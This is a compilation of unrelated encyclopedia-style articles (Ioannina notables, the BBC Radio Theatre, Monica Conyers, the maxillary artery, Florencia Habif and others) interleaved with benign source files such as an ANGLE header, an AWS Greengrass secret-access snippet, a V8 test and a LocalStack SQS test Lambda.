Georgios Sougdouris (1645/7–1725), scholar.
Methodios Anthrakites (1660–1736), scholar.
Balanos Vasilopoulos (1694–1760), scholar.
Dimitrios Theodosiou (-1782), book publisher.
Zosimades brothers, benefactors, founders of the Zosimaia School.
Maroutsis family, traders and benefactors.
Kyra Frosini (1772–1800), socialite and heroine.
Lambros Photiadis (1752–1805), scholar.
Zois Kaplanis (1736-1806), merchant, founder of the Kaplaneios School
Kosmas Balanos (1731–1808), scholar.
Grigorios Paliouritis (1778–1816), scholar.
Ioannis Vilaras (1771–1823), poet and scholar.
Athanasios Psalidas (1767–1829), scholar, of the main contributors of the Modern Greek Enlightenment.
Georgios Hadjikonstas (1753–1845), benefactor.
Vasileios Goudas (1779–1845), fighter of the Greek War of Independence.
Athanasios Tsakalov (1790–1851), one of the three founders of Filiki Eteria.
Michael Christaris (1773–1851), scholar.
Elisabeth Kastrisogia (1800–1863), benefactor.
Georgios Stavros (1787–1869), benefactor, founder of the National Bank of Greece.
Leonidas Palaskas (1819–1880), Hellenic navy officer.
Reshid Akif Pasha (1863-1920), Ottoman statesman.
Georgios Hatzis (Pelleren) (1881–1930), author and journalist.
Josef Elijia (1901–1931), Jewish Greek poet.
Patriarch Nicholas V of Alexandria (1876–1939)
Wehib Pasha (1877–1940), Ottoman general.
Christos Adamidis (1885–1949), pioneer aviator and Hellenic Army General.
Mid’hat Frashëri (1880–1949), politician and writer.
Mehmet Esat Bülkat (1862–1952), Ottoman general.
İzzettin Çalışlar (1882–1951), officer of the Ottoman Army.
Abdülhalik Renda (1881-1957), Chairman of the Turkish National Assembly.
Markos Avgeris (1884–1973), poet.
Amalia Bakas (1897–1979), singer.
Dimitrios Hatzis (1913–1981), novelist.
Dimosthenis Kokkinos (1926–1991), Poet and author.
Fatma Hikmet İşmen (1918-2006), engineer.
Pavlos Vrellis (1922–2010), sculptor.
Dinos Constantinides (1929–2021), classical music composer.
Takis Mousafiris (1936–2021), Greek composer and songwriter
Matsas family, Romaniote Jewish family; most known Minos Matsas
Hierotheos (Vlachos), theologian.
Moses Elisaf (1954–2023), mayor from 2019 to 2023.
Vana Barba, actress.
Marios Oikonomou, international football player, played for PAS Giannina, AEK Athens and Italian clubs like Cagliari, Bologna, Bari, SPAL.
Georgios Dasios played for PAS Giannina and became the Director of the club.
Stefanos Ntouskos (b 1997), gold medal in the Men's single sculls, at the 2020 Summer Olympics.
Amanda Tenfjord (b 1997), singer and songwriter, Greek representative at Eurovision 2022
Sports
Sport clubs
Ioannina is home to a major sports team called PAS Giannina. It's an inspiration for many of old as well as new supporters of the whole region of Epirus, even outside Ioannina.
Rowing is also very popular in Ioannina; the lake hosted several international events and serves as the venue for part of the annual Greek Rowing Championships.
Sport complex
Transport
Ioannina is served by Ioannina National Airport.
The Egnatia Odos highway, part of the E90, passes by Ioannina. It links the west coast port of Igoumenitsa with the borders.
Air Sea Lines flew from Lake Pamvotis to Corfu with seaplanes. Air Sea Lines has suspended flights from Corfu to Ioannina since 2007.
Long-distance buses (KTEL) travel daily to Athens (6–6.5 hours) and Thessaloniki (3 hours).
In popular culture
"Yanina" figures prominently in Alexandre Dumas' novel The Count of Monte Cristo.
Villagers of Ioannina City is a folk rock band from Ioannina, formed in 2007.
International relations
Twin towns – sister cities
Ioannina is twinned with:
Požarevac, Serbia
Ayia Napa, Cyprus
Limassol, Cyprus
Himara, Albania
Kiryat Ono, Israel
Nizhyn, Ukraine
Schwerte, Germany
See also
Epirus
Maroutsaia School
Uprising in Yanina
Zagori, region and municipality near Ioannina
List of mayors of Ioannina
Citations
General sources
External links
Official
Municipality of Ioannina
Travel
Ioannina – The Greek National Tourism Organization
Ioannina travel guide
Historical
"Here Their Stories Will Be Told..." The Valley of the Communities at Yad Vashem, Ioannina, at Yad Vashem website
Greek prefectural capitals
Greek regional capitals
Historic Jewish communities
Municipalities of Epirus (region)
Populated places in Ioannina (regional unit)
|
The BBC Radio Theatre (originally named The Concert Hall) is a theatre situated within the BBC's Broadcasting House complex. It is used for live broadcast and audio recordings.
History
Originally named The Concert Hall, the theatre was designed by George Val Myer as part of the BBC's new Broadcasting House building. The hall is long, and tapers from wide at the rear to wide behind the stage. The room's height is , taking up three storeys of Broadcasting House. Upon original specification, the hall had a reverberation time of 1.7 seconds.
Broadcasting House was opened on 14 May 1932 by Queen Mary. The theatre's first performance was held on 15 October 1932; at this time the hall's capacity allowed a large orchestra and an audience of 550. On 10 March 1933, the hall hosted a memorial concert to the BBC's former Director of Music, Percy Pitt.
In 1933, the BBC Yearbook described the hall's acoustics and architecture:
Val Myer's interior included extensive Art Deco fittings, an oak dado and bas-reliefs by Gilbert Bayes. The theatre's green room was designed by Raymond McGrath.
Upon the outbreak of the Second World War, part of the theatre was used as a dormitory. On 6 September 1939, Stuart Hibberd wrote that:
In 1966, the BBC commissioned a report into sound propagation between spaces inside Broadcasting House, entitled Acoustic Tests in Broadcasting House, London: The Anomalous Sound Transmission between Studio S2 and the Concert Hall. The investigation found that Studio S2—situated in the sub basement below the Concert Hall and used for small orchestras and pop groups—leaked sound into the auditorium above due to inadequate sound insulation and lack of a floating floor; this occasionally distracted musicians in the Concert Hall although it could not be heard on transmissions or recordings.
In 1994, the Concert Hall was renamed the Radio Theatre.
In 2012, a developmental Super Hi-Vision (8K) video system with 22.2 surround sound audio was installed in the theatre to show the London Olympics and its opening ceremony.
Organ
On 16 June 1933, the BBC unveiled the Concert Hall's Compton organ, the first of the BBC Theatre Organs. To celebrate the event, the corporation broadcast a concert featuring George Thalben-Ball, G. D. Cunningham, and Walter Alcock. The organ featured 2,826 pipes in 35 ranks.
Productions
The BBC has recorded a number of comedy programmes in the theatre, including What's My Line?, Just a Minute, and I'm Sorry I Haven't a Clue.
Musical artists to have performed in the venue include David Bowie (for his Bowie at the Beeb album). The Radio 2 In Concert series is broadcast from the theatre; contributing artists include Stereophonics, Jeff Lynne's ELO, James Morrison, Emeli Sande, Ed Sheeran, and Paul Weller.
References
Theatres in the City of Westminster
BBC offices, studios and buildings
|
```objective-c
//
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Fence9.h: Defines the rx::FenceNV9 class which implements rx::FenceNVImpl.
#ifndef LIBANGLE_RENDERER_D3D_D3D9_FENCE9_H_
#define LIBANGLE_RENDERER_D3D_D3D9_FENCE9_H_
#include "libANGLE/renderer/FenceNVImpl.h"
#include "libANGLE/renderer/FenceSyncImpl.h"
namespace rx
{
class Renderer9;
class FenceNV9 : public FenceNVImpl
{
public:
explicit FenceNV9(Renderer9 *renderer);
~FenceNV9() override;
gl::Error set(GLenum condition) override;
gl::Error test(GLboolean *outFinished) override;
gl::Error finish() override;
private:
gl::Error testHelper(bool flushCommandBuffer, GLboolean *outFinished);
Renderer9 *mRenderer;
IDirect3DQuery9 *mQuery;
};
}
#endif // LIBANGLE_RENDERER_D3D_D3D9_FENCE9_H_
```
|
```python
"""
Purpose
Shows how to implement an AWS Lambda function that uses AWS IoT Greengrass Core SDK
to get a secret.
"""
# snippet-start:[greengrass.python.secret-resource-access-default-value.complete]
import greengrasssdk
secrets_client = greengrasssdk.client("secretsmanager")
secret_name = "greengrass-MySecret-abc"
def function_handler(event, context):
response = secrets_client.get_secret_value(SecretId=secret_name)
secret = response.get("SecretString")
# snippet-end:[greengrass.python.secret-resource-access-default-value.complete]
```
|
The 2009 AMNRL season was the 12th season of the American National Rugby League (AMNRL). The Boston Thirteens joined the league as an expansion team, bringing the number of teams to eleven. The New York Knights won the Grand Final, defeating the Jacksonville Axemen.
Results
Bucks County Sharks defeated Aston DSC Bulls 22-20
Philadelphia Fight defeated Fairfax Eagles 20-12
Boston 13s defeated Northern Raiders 64-7
Jacksonville Axemen defeated Washington DC Slayers 44-24
Jacksonville Axemen defeated Boston 13s 46-16
New Haven Warriors defeated Connecticut Wildcats 20-0(forfeit)
New York Knights defeated Washington DC Slayers 64-8
New York Knights defeated Aston DSC Bulls 40-20
New Haven Warriors defeated Washington DC Slayers 44-12
Philadelphia Fight defeated Bucks County Sharks 32-12
Jacksonville Axemen defeated Fairfax Eagles 56-4
Jacksonville Axemen defeated New York Knights 28-18
New Haven Warriors defeated Boston 13s 56-4
Fairfax Eagles defeated Northern Raiders 20-10(forfeit)
New York Knights defeated Northern Raiders 32-4
Jacksonville Axemen defeated New Haven Warriors 46-24
Boston 13s defeated Aston DSC Bulls 74-42
Fairfax Eagles defeated Connecticut Wildcats 74-6
Philadelphia Fight defeated Washington DC Slayers 72-16
Standings
References
External links
AMNRL website
American National Rugby League seasons
AMNRL season
AMNRL
|
```javascript
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
function TestFunctionPrototypeSetter() {
var f = function() {};
var o = {__proto__: f};
o.prototype = 42;
assertEquals(42, o.prototype);
assertTrue(o.hasOwnProperty('prototype'));
}
TestFunctionPrototypeSetter();
function TestFunctionPrototypeSetterOnValue() {
var f = function() {};
var fp = f.prototype;
Number.prototype.__proto__ = f;
var n = 42;
var o = {};
n.prototype = o;
assertEquals(fp, n.prototype);
assertEquals(fp, f.prototype);
assertFalse(Number.prototype.hasOwnProperty('prototype'));
}
TestFunctionPrototypeSetterOnValue();
function TestArrayLengthSetter() {
var a = [1];
var o = {__proto__: a};
o.length = 2;
assertEquals(2, o.length);
assertEquals(1, a.length);
assertTrue(o.hasOwnProperty('length'));
}
TestArrayLengthSetter();
function TestArrayLengthSetterOnValue() {
Number.prototype.__proto__ = [1];
var n = 42;
n.length = 2;
assertEquals(1, n.length);
assertFalse(Number.prototype.hasOwnProperty('length'));
}
TestArrayLengthSetterOnValue();
```
|
The Detroit Film Critics Society Award for Best Documentary is an annual award given by the Detroit Film Critics Society.
History
It honors the best documentary film of that year since its inception in 2011 with the first winner being Errol Morris's Tabloid.
Winners
2011: Tabloid
Into Eternity
Into the Abyss
Marwencol
We Were Here
2012: Jiro Dreams of Sushi
The House I Live In
The Imposter
The Queen of Versailles
Searching for Sugar Man
2013: Stories We Tell
Blackfish
The Act of Killing
The Square
The Unknown Known
2014: Citizenfour
Finding Vivian Maier
Jodorowsky’s Dune
Keep On Keepin’ On
Life Itself
2015: Amy
Best of Enemies
Going Clear: Scientology and the Prison of Belief
Listen to Me Marlon
The Look of Silence
2016: O.J.: Made in America
13th
Gleason
Life, Animated
Tickled
Weiner
2017: Jim and Andy: The Great Beyond
The Defiant Ones
Human Flow
Kedi
Step
Strong Island
Whose Streets?
2018: Three Identical Strangers
Free Solo
RBG
Whitney
Won't You Be My Neighbor?
2019: Apollo 11
Amazing Grace
Horror Noire: A History of Black Horror
Knock Down the House
Rolling Thunder Revue: A Bob Dylan Story by Martin Scorsese
2020: Dick Johnson Is Dead
All In: The Fight for Democracy
Boys State
The Dissident
Time
See also
Academy Award for Best Documentary Feature
References
Detroit Film Critics Society Awards
Lists of films by award
American documentary film awards
Awards established in 2011
|
Els van Breda Vriesman-Commandeur (, 18 March 1941) is a Dutch sports administrator and jurist.
Els Commandeur was born in 1941 in the Dutch city of Enschede. She studied law and was a field hockey player, achieving a position in the Dutch national youth team. She has been a sports administrator since the early 1980s, best known for her positions in field hockey. She was a board member of the Royal Dutch Hockey Association (the Dutch governing body of field hockey) for 14 years (until 1994), and was a representative to the International Hockey Federation. Between 1989 and 1993 she was also board member of the Dutch Olympic Committee.
In 1987 she was appointed as the technical delegate for the female field hockey tournament at the 1988 Summer Olympics in Seoul. She was chair of the technical commission of the Federation, and was from 1994 its secretary-general. In 2001 she was elected as president of the Federation, with an agenda for renewal of the sport. As such, she was also a representative in the International Olympic Committee and member of various IOC committees. After she lost her re-election in 2008 from Leandro Negre, she also resigned from those positions.
In 2010 van Breda Vriesman was appointed as Officer in the Order of Orange-Nassau for her work as volunteer for field hockey and sports.
Personal life
Van Breda Vriesman is married has three children. Besides field hockey, she has also cycled and played golf.
References
International Hockey Federation
Dutch female field hockey players
Dutch sports executives and administrators
Dutch International Olympic Committee members
1941 births
Living people
Women sports executives and administrators
|
```java
package org.telegram.telegrambots.meta.api.objects.inlinequery.inputmessagecontent;
import com.fasterxml.jackson.databind.annotation.JsonDeserialize;
import org.telegram.telegrambots.meta.api.interfaces.BotApiObject;
import org.telegram.telegrambots.meta.api.interfaces.Validable;
import org.telegram.telegrambots.meta.api.objects.inlinequery.inputmessagecontent.serialization.InputMessageContentDeserializer;
/**
* @author Ruben Bermudez
* @version 1.0
* This object represents the content of a message to be sent as a result of an inline
* query.
*/
@JsonDeserialize(using = InputMessageContentDeserializer.class)
public interface InputMessageContent extends Validable, BotApiObject {
}
```
|
```python
"""This lambda is used for lambda/sqs integration tests. Since SQS event source mappings don't allow
DestinationConfigurations that send lambda results to other source (like SQS queues), that can be used to verify
invocations, this lambda does this manually. You can pass in an event that looks like this::
{
"destination": "<queue_url>",
"fail_attempts": 2
}
Which will cause the lambda to fail twice (comparing the "ApproximateReceiveCount" of the SQS event triggering
the lambda), and send either an error or success result to the SQS queue passed in the destination key.
"""
import json
import os
import boto3
def handler(event, context):
# this lambda expects inputs from an SQS event source mapping
if len(event.get("Records", [])) != 1:
raise ValueError("the payload must consist of exactly one record")
# it expects exactly one record where the message body is '{"destination": "<queue_url>"}' that mimics a
# DestinationConfig (which is not possible with SQS event source mappings).
record = event["Records"][0]
message = json.loads(record["body"])
if not message.get("destination"):
raise ValueError("no destination for the event given")
error = None
try:
if message["fail_attempts"] >= int(record["attributes"]["ApproximateReceiveCount"]):
raise ValueError("failed attempt")
except Exception as e:
error = e
raise
finally:
# we then send a message to the destination queue
result = {"error": None if not error else str(error), "event": event}
sqs = create_external_boto_client("sqs")
sqs.send_message(QueueUrl=message.get("destination"), MessageBody=json.dumps(result))
def create_external_boto_client(service):
endpoint_url = None
if os.environ.get("AWS_ENDPOINT_URL"):
endpoint_url = os.environ["AWS_ENDPOINT_URL"]
region_name = (
os.environ.get("AWS_DEFAULT_REGION") or os.environ.get("AWS_REGION") or "us-east-1"
)
return boto3.client(service, endpoint_url=endpoint_url, region_name=region_name)
```
|
Diminovula nielseni is a species of sea snail in the family Ovulidae, the ovulids, cowry allies or false cowries.
References
Ovulidae
Gastropods described in 1976
|
Monica Ann Conyers (née Esters; October 31, 1965) is an American politician in Detroit, Michigan. Elected to the Detroit City Council in 2005, she was elected by its members to serve as president pro tempore of the council for the four-year term.
Background
Monica Ann Esters was born in River Rouge, Michigan, on October 31, 1965. She had four brothers and one sister. She grew up with her mother in west Detroit and attended Henry Ford High School. Her father had a record for breaking and entering. One of her brothers was imprisoned for robbery, and another for weapons violations. Esters graduated from high school and went to college, earning a Bachelor of Arts in Secondary Education and Political Science from Bennett College. She also completed a master's in Public Administration from Central Michigan University. Conyers later attended the University of the District of Columbia School of Law and received a Juris Doctor.
Career
Monica Conyers worked as a teacher for mentally challenged teens. She was selected for jobs in administration and became a vice administrator for Detroit Public Schools. Conyers got more involved with politics. She is a member of the Democratic Party.
In 2005, Conyers ran and was elected to a four-year term on the Detroit City Council. At that time, all candidates ran at-large, meaning they had to attract a majority of votes across the city. She was elected by other members to serve as president pro tempore, and Kenneth Cockrel, Jr. was elected to serve as President of the City Council.
In 2008 a turbulent time for Mayor Kwame Kilpatrick ended with his resignation at midnight on September 19, 2008. At that time council president Kenneth Cockrel, Jr. succeeded him as mayor of Detroit until a special election could be held. In keeping with the city charter, Monica Conyers advanced from president pro tem of the city council to president.
The special election for mayor was held on May 5, 2009. Kenneth Cockrel, Jr. ran for the office, but he was defeated by Dave Bing. Conyers initially wanted to investigate whether the city charter guaranteed her being able to keep the position as President of City Council. She learned that it did.
But after learning that the council's legal analyst position was that Cockrel had rights to return to the position of Council President, she decided not to contest the changes. She returned to president pro tempore for the remainder of her term.
Positions and votes
Conyers has sometimes made headlines for breaking with her colleagues in the Michigan Democratic Party and the city council (which consists entirely of Democrats). She was critical of the party for running ads in a mayoral race in Flint, Michigan. During the lengthy legal and political crisis of Detroit Mayor Kwame Kilpatrick, Conyers was the only member of council to vote against a resolution demanding that he resign.
Controversies
Synagro bribery scandal and conviction
On June 16, 2009, it was reported that Conyers had been linked to an ongoing corruption investigation in Detroit, involving alleged bribes offered by Synagro Technologies. Originally, case documents had referred only to "Council Member A" receiving bribes totaling more than $6,000 to influence passage of a contract with the city, but on June 16 the United States Attorney's Office confirmed that two Synagro representatives had named Conyers as the recipient.
Conyers was given a pre-indictment letter and offered a plea deal in the case. On June 26, 2009, Conyers was charged with conspiring to commit bribery and pleaded guilty.
On June 26, 2009, Conyers pleaded guilty to accepting a bribe in the Synagro Sludge scandal. Three days later, Conyers officially resigned from the Detroit City Council, effective July 6. Her former chief of staff, Sam Riddle, faced prosecution as well. Riddle's later trial included wiretap recordings of conversations with and about Conyers, in which he describes her as "crazy." Testimony given during Riddle's trial on February 4, 2010, indicated that Conyers often left a downtown Detroit restaurant without paying for the meal; the restaurant's owner estimated that Conyers owed him about $3,000. On March 10, 2010, Conyers was sentenced to 37 months in federal prison. During the sentencing hearing, Conyers requested to withdraw her guilty plea, which the judge denied. She filed notice to appeal.
Financial
In January 2009, Detroit's General Retirement System notified Conyers that she owed $5,600 to the city, which included travel advances not spent on business-class airfare to London. The pension board also claimed she had not submitted receipts for trips to Grand Cayman and Philadelphia.
In April 2009, Conyers admitted she had helped her brother, Reggie Esters, a convicted felon, obtain a city job that was originally scheduled to last four months. It was extended to two years, ending only when Esters' absenteeism became an issue. Esters is reported to have submitted a false resume. She originally denied helping her brother.
Personal/professional conduct
In February 2008, The Detroit News reported details of an exchange between Conyers and DeDan Milton, an aide to Mayor Kilpatrick. Conyers allegedly made reference to a gun in an argument with Milton. Conyers has denied the allegations. The police reports have since been withdrawn.
In April 2008, Conyers got into an argument with City Council President Ken Cockrel, Jr. during a public hearing. Cockrel reprimanded Conyers for interrupting fellow councilwoman JoAnn Watson, and Conyers turned on Cockrel. The argument escalated until Conyers referred to Cockrel as "Shrek", after the animated film character. Cockrel tried to call for a recess, but Conyers continued insulting him. Video of the incident exists on YouTube.
In February 2009, Conyers was involved in a confrontation with fellow council member Kwame Kenyatta. After Kenyatta insisted that Conyers submit in writing her request to cut his budget, Conyers insulted Kenyatta about his hearing aid, health, and lack of education. Conyers stated that Kenyatta needed to "learn how to talk to a woman", to which Kenyatta replied that when he was with a woman, he would do so. Conyers had to be restrained by a council staffer and a council security officer as she attempted to approach Kenyatta. Conyers later sent an apology letter, which was rejected by Kenyatta; he thought it was insincere. Conyers subsequently said that re-election "might not be worth it," in view of the constant public criticism of her.
In February 2009, the Detroit Free Press editorial board opined that Conyers was no longer fit for office due to her increasingly "volatile" behavior.
In March 2009, Conyers led a group of five members of the Detroit City Council who blocked the proposed transfer of ownership of Detroit Cobo Hall (the home of the North American International Auto Show) to a regional authority. The latter was to have representatives from Wayne, Oakland and Macomb counties, which make up the metropolitan area.
Council hearings about the proposed deal became heated. She said to Isaac Robinson, a white official of the Teamsters union, that most of the people who customarily worked at the large annual show "don't look like me. They look like you." When questioned about her remarks, she denied any intention of racism. Conyers said, "Black people cannot be racist".
The subject reportedly lost her weekend radio show job at 910 AM Superstation (WFDF-AM) primarily for unapproved hotel lodging expenses in March 2017.
Bribery conviction
On June 16, 2009, the United States Attorney's Office said that two Synagro Technologies representatives had named Monica Conyers as having received bribes from the company totaling more than $6,000, paid to influence passage of a contract with the City of Detroit. The information was gathered during an FBI investigation into political corruption in the city, and Mayor Kwame Kilpatrick was also named in the probe.
Conyers was given a pre-indictment letter, and offered a plea bargain deal in the case. On June 26, 2009, she was charged with conspiring to commit bribery. She pleaded guilty. On March 10, 2010, she was sentenced to 37 months in prison, and also received two years of supervised probation.[Need to address bribery/corruption case]
She served her time at the Alderson Federal Prison Camp in West Virginia. She was released from prison after 27 months on December 21, 2012, and began supervised probation. She was admitted to a residential re-entry program in the Detroit area. She was released to home confinement in the Detroit area on January 25, 2013. Federal Bureau of Prisons spokesman Ed Ross said Conyers earned 108 days of credit for good behavior, and she was released from federal custody officially on May 16, 2013. To fulfill the work requirement for her parole, Conyers worked part time as a cashier for an auto parts store and as a ticket agent at the Greyhound Station.
Personal life
On June 4, 1990, Esters married John Conyers, a long-serving Congressman from Detroit. She was 25, and he was 61. They had two sons together, John James Conyers III and Carl Edward Conyers.
In October 2015, the Detroit Free Press reported that Conyers had filed for divorce in Wayne County Circuit Court from September 3, 2015, after 25 years of marriage. The filing cited "a breakdown of the marriage relationship to the extent that the objects of matrimony have been destroyed and there remains no reasonable likelihood that the marriage can be preserved." In 2016, the divorce action was ended and the couple remained married, until his death in 2019.
References
African-American city council members in Michigan
Detroit City Council members
Michigan Democrats
Bennett College alumni
Central Michigan University alumni
University of the District of Columbia alumni
Living people
1965 births
American politicians convicted of bribery
American politicians convicted of federal public corruption crimes
Michigan politicians convicted of crimes
Women city councillors in Michigan
21st-century American politicians
21st-century American women politicians
Henry Ford High School (Detroit, Michigan) alumni
21st-century African-American women
21st-century African-American politicians
20th-century African-American people
20th-century African-American women
|
John Bonomy (11 March 1918 – 27 June 1980) was a Scottish amateur football right back who played in the Scottish League for Queen's Park. He was capped by Scotland at amateur level.
References
Men's association football fullbacks
Scottish men's footballers
Queen's Park F.C. players
Scottish Football League players
Scotland men's amateur international footballers
1918 births
1980 deaths
Footballers from Motherwell
Royal Albert F.C. players
Motherwell F.C. players
Partick Thistle F.C. wartime guest players
Raith Rovers F.C. players
Carluke Rovers F.C. players
People from the Isle of Arran
|
The maxillary artery supplies deep structures of the face. It branches from the external carotid artery just deep to the neck of the mandible.
Structure
The maxillary artery, the larger of the two terminal branches of the external carotid artery, arises behind the neck of the mandible, and is at first imbedded in the substance of the parotid gland; it passes forward between the ramus of the mandible and the sphenomandibular ligament, and then runs, either superficial or deep to the lateral pterygoid muscle, to the pterygopalatine fossa.
It supplies the deep structures of the face, and may be divided into mandibular, pterygoid, and pterygopalatine portions.
First portion
The first or mandibular or bony portion passes horizontally forward, between the neck of the mandible and the sphenomandibular ligament, where it lies parallel to and a little below the auriculotemporal nerve; it crosses the inferior alveolar nerve, and runs along the lower border of the lateral pterygoid muscle.
Branches include:
Deep auricular artery
Anterior tympanic artery
Middle meningeal artery
Inferior alveolar artery which gives off its mylohyoid branch just prior to entering the mandibular foramen
Accessory meningeal artery
Second portion
The second or pterygoid or muscular portion runs obliquely forward and upward under cover of the ramus of the mandible and insertion of the temporalis, on the superficial (very frequently on the deep) surface of the lateral pterygoid muscle; it then passes between the two heads of origin of this muscle and enters the fossa.
Branches include:
Masseteric artery
Pterygoid branches
Deep temporal arteries (anterior and posterior)
Buccal artery
Third portion
The third or pterygopalatine or pterygomaxillary portion lies in the pterygopalatine fossa in relation with the pterygopalatine ganglion. This is considered the terminal branch of the maxillary artery.
Branches include:
Sphenopalatine artery (nasopalatine artery) is the terminal branch of the Maxillary artery
Descending palatine artery (Greater palatine artery and lesser palatine artery)
Infraorbital artery
Posterior superior alveolar artery
Artery of pterygoid canal
Pharyngeal branch, directed to palatovaginal canal
Middle superior alveolar artery (a branch of the infraorbital artery)
Anterior superior alveolar arteries (a branch of the infraorbital artery)
Nomenclature
Formerly, the term "external maxillary artery" was used to describe what is now known as the facial artery (per Terminologia anatomica.) Currently, the term "external maxillary artery" is less commonly used, and the terms "internal maxillary artery" and "maxillary artery" are equivalent.
Additional images
References
External links
()
- "Infratemporal Fossa: Branches of the Maxillary Artery"
Overview at tufts.edu
Arteries of the head and neck
|
"Better Day" is a song by English rock band Ocean Colour Scene. The song was released as the third single from their third studio album, Marchin' Already, on 10 November 1997 and reached number nine on the UK Singles Chart.
Track listings
UK CD single
"Better Day"
"The Best Bet on Chinaski"
"On and On"
UK 7-inch and cassette single
"Better Day"
"The Best Bet on Chinaski"
Japanese CD single
"Better Day"
"The Best Bet on Chinaski"
"On and On"
"The Day We Caught the Train" (acoustic)
Personnel
Personnel are taken from the Marchin' Already album booklet.
Ocean Colour Scene – writing, production, recording, mixing
Simon Fowler – vocals, guitar
Steve Cradock – guitar, piano
Damon Minchella – bass guitar
Oscar Harrison – drums
Brendan Lynch – production, recording, mixing
Martyn "Max" Heyes – production
Charts
References
Ocean Colour Scene songs
1997 singles
1997 songs
MCA Records singles
|
```xml
/*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
export * from "./datetimeUtils.js";
export * from "./generateIsomorphicTests.js";
export * from "./testErrorBoundary.js";
export * from "./utils.js";
```
|
```xml
/*
* This software is released under MIT license.
* The full license information can be found in LICENSE in the root directory of this project.
*/
import { renderIcon } from '../icon.renderer.js';
import { IconShapeTuple } from '../interfaces/icon.interfaces.js';
const icon = {
outline:
'<path d="M26.54,20.82a.88.88,0,0,0-.88-.88H20.75l1.1-1.1A.88.88,0,0,0,20.6,17.6l-3.21,3.22L20.6,24a.88.88,0,1,0,1.25-1.24L20.76,21.7h4.9A.88.88,0,0,0,26.54,20.82Z"/><path d="M29.27,21.7a.88.88,0,1,0,0-1.76h-.58a.88.88,0,1,0,0,1.76Z"/><path d="M32.21,20h-.06a.85.85,0,0,0-.85.88.91.91,0,0,0,.91.88.88.88,0,1,0,0-1.76Z"/><path d="M32.59,11a.88.88,0,0,0-1.25,1.24l1.1,1.1H27.53a.88.88,0,1,0,0,1.76h4.9l-1.09,1.09a.88.88,0,0,0,1.25,1.24l3.21-3.22Z"/><path d="M24.5,15.07a.88.88,0,1,0,0-1.76h-.58a.88.88,0,1,0,0,1.76Z"/><path d="M21.9,14.27a.85.85,0,0,0-.85-.88H21a.88.88,0,1,0,0,1.76A.91.91,0,0,0,21.9,14.27Z"/><path d="M30.36,23.65c0,.13,0,.26,0,.39a3.77,3.77,0,0,1-3.62,3.89H7.28a5.32,5.32,0,0,1-5.13-5.48A5.32,5.32,0,0,1,7.28,17H8.91L9,16.12a8.92,8.92,0,0,1,8.62-8h.08a8.49,8.49,0,0,1,6.56,3.29h2.37a10.55,10.55,0,0,0-8.91-5.25h-.11A10.82,10.82,0,0,0,7.22,15a7.28,7.28,0,0,0-7,7.43,7.27,7.27,0,0,0,7.08,7.43H26.77A5.72,5.72,0,0,0,32.35,24a3.77,3.77,0,0,0,0-.39Z"/>',
};
export const cloudTrafficIconName = 'cloud-traffic';
export const cloudTrafficIcon: IconShapeTuple = [cloudTrafficIconName, renderIcon(icon)];
```
|
Florencia Martina Habif (born 22 August 1993) is an Argentine field hockey player. Being part of Argentina's Junior National Team "Las Leoncitas" ("The Baby Lionesses") since 2009 and of the National Team Las Leonas ("The Lionesses") since 2010, she competed in several tournaments, including the 2012 Summer Olympics in London, where the team achieved the silver medal, being the team's youngest player. In 2014, she was named the Best Young Player in the world by the International Hockey Federation and has been nomitaded 4 times.
Florencia is also a player in the club Gimnasia y Esgrima de Buenos Aires (GEBA) since she was 4 years old. Habif is part of the so-called New Generation of Argentina's Women's Field Hockey.
Sports career
Florencia started to play field hockey at GEBA and then joined Argentina's Junior National Team at the age of 17, achieving the gold medal at the 2010 Pan American Youth Championship Tournament in Montevideo, Uruguay then qualifying and earning the silver medal at the 2010 Summer Youth Olympics in Singapore.
With the Senior National Team, Florencia earned three Champions Trophy, the World League 2014-15, the bronze medal at the 2014 World Cup and two Pan American Cups.
She played in the Visa International Invitational Hockey Tournament at London before her first Olympic Games at the age of 19 at the 2012 Summer Olympics in London.
Sponsorship
Ritual
Florencia is sponsored by Ritual Hockey, joining many other top athletes from around the world.
Nike
Florencia Habif is provided with Nike clothes.
Red Bull
Habif is also sponsored by Red Bull along with some of the best athletes from Argentina and the world.
Awards
Player of the Tournament at the 2012 Pan American Junior Championship held at Guadalajara, Mexico.
Revelación de Oro (Gold Revelation) on 2012, at the Fiesta del Deporte ("Party of the Sports") sponsored by Clarín, one of Argentina's main newspapers, due to her performance with the National Team.
Nominated to the Terna Olímpica 2012 at the Premios Olimpia, an award organized by the Círculo de Periodistas de Buenos Aires (Circle of Journalists of Buenos Aires).
2014 - FIH Young Women Player of the Year.
References
External links
1993 births
Living people
Argentine people of Lebanese descent
Sportspeople of Lebanese descent
Argentine female field hockey players
Olympic field hockey players for Argentina
Field hockey players at the 2012 Summer Olympics
Olympic medalists in field hockey
Las Leonas players
Olympic silver medalists for Argentina
Field hockey players from Buenos Aires
Medalists at the 2012 Summer Olympics
Field hockey players at the 2010 Summer Youth Olympics
Field hockey players at the 2015 Pan American Games
Pan American Games silver medalists for Argentina
Field hockey players at the 2016 Summer Olympics
Pan American Games medalists in field hockey
Expatriate field hockey players
Argentine expatriate sportspeople in Germany
South American Games gold medalists for Argentina
South American Games medalists in field hockey
Female field hockey defenders
Competitors at the 2014 South American Games
Mannheimer HC players
Feldhockey Bundesliga (Women's field hockey) players
Medalists at the 2015 Pan American Games
|
Suraag – The Clue is an Indian television detective-crime drama series that aired on DD National from 14 June 1999 to 30 September 2002. The series, starring Sudesh Berry as CID Inspector Bharat Chatterjee in the main lead, was directed by Gautam Adhikari and produced by Shri Adhikari Brothers Limited. It used to air every Monday at 10 P.M.
In the drama, Inspector Bharat Chatterjee and his assistant Inspector Nitin Srivastav formed a formidable partnership in solving crimes, mostly murder mysteries. This series, unlike previous detective-crime dramas in India, involved tackling of one case every episode and seldom were the story or case of one episode continued to the next one. Umesh AN was the producer.
After the drama ended, a new series called CID Officer (with same crew and cast) was aired on the same time. It was described by the media as "unofficial extension" of the Suraag.
Cast
Main
Sudesh Berry as Crime Branch Inspector Bharat Chatterjee
Guest
Phalguni Parekh as Shivani (Episode 1)
Vishnu Sharma as
Professor Banerjee (Episode 1)
Mittal Singh (Episode 165)
Ramesh Tiwari as
Mr. Saxena (Episode 1)
D.C.P. (Episode 16)
Anand Abhyankar as Inspector Mohan (Episode 1)
Raj Premi as
Raj (Episode 1)
Aashish Mehra (Episode 166)
